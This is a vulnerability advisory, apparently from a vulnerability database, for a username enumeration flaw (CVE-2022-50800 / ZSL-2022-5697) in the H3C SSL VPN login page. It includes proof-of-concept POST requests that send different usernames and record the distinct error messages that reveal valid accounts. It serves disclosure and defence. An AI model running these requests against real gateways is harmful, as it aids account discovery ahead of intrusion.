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H3C SSL VPN Username Enumeration
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | H3C SSL VPN 安全漏洞 | 30 Dec 202500:00 | – | cnnvd |
 | CVE-2022-50800 | 30 Dec 202522:41 | – | cve |
 | CVE-2022-50800 H3C SSL VPN n/a Username Enumeration via Login Script Credential Verification | 30 Dec 202522:41 | – | cvelist |
 | EUVD-2022-55927 | 31 Dec 202500:31 | – | euvd |
 | CVE-2022-50800 | 30 Dec 202523:15 | – | nvd |
 | PT-2025-54247 | 30 Dec 202500:00 | – | ptsecurity |
 | CVE-2022-50800 H3C SSL VPN n/a Username Enumeration via Login Script Credential Verification | 30 Dec 202522:41 | – | vulnrichment |
<html><body><p>H3C SSL VPN Username Enumeration
Vendor: Hangzhou H3C Technologies Co. | New H3C Technologies Co., Ltd.
Product web page: https://www.h3c.com
Affected version: n/a
Summary: H3C SSL VPN is a secure VPN system based on SSL connections. It allows mobile employees
to access corporate networks remotely in an easy and secure way. The H3C SSL VPN devices are a
new generation of professional SSL VPN devices for enterprises. They can function as ingress
gateways as well as proxy gateways of internal server clusters. The SecPath SSL VPN devices are
for small-to medium-sized enterprises, while the SecBlade SSL VPN devices are for medium-sized
enterprises.
Desc: The weakness is caused due to the login script and how it verifies provided credentials. An
attacker can use this weakness to enumerate valid users on the affected application via 'txtUsrName'
POST parameter.
Tested on: ssl vpn gateway HttpServer 1.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5697
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5697.php
24.01.2022
--
Non-valid:
----------
POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi
txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=root&txtPassword=123456&selDomain=1&authmethod=1&vldCode=
</p><tr><td align="center">User is not exist</td></tr>
Valid:
------
POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi
txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=administrator&txtPassword=123456&selDomain=1&authmethod=1&vldCode=
<tr><td align="center">Input password incorrect</td></tr>
Valid:
------
POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi
txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=guest&txtPassword=123456&selDomain=1&authmethod=1&vldCode=
<tr><td align="center">Local user state is inactive</td></tr>
</body></html>Data
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12 Feb 2022 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 46.9
CVSS 3.17.5
EPSS0.00035
SSVC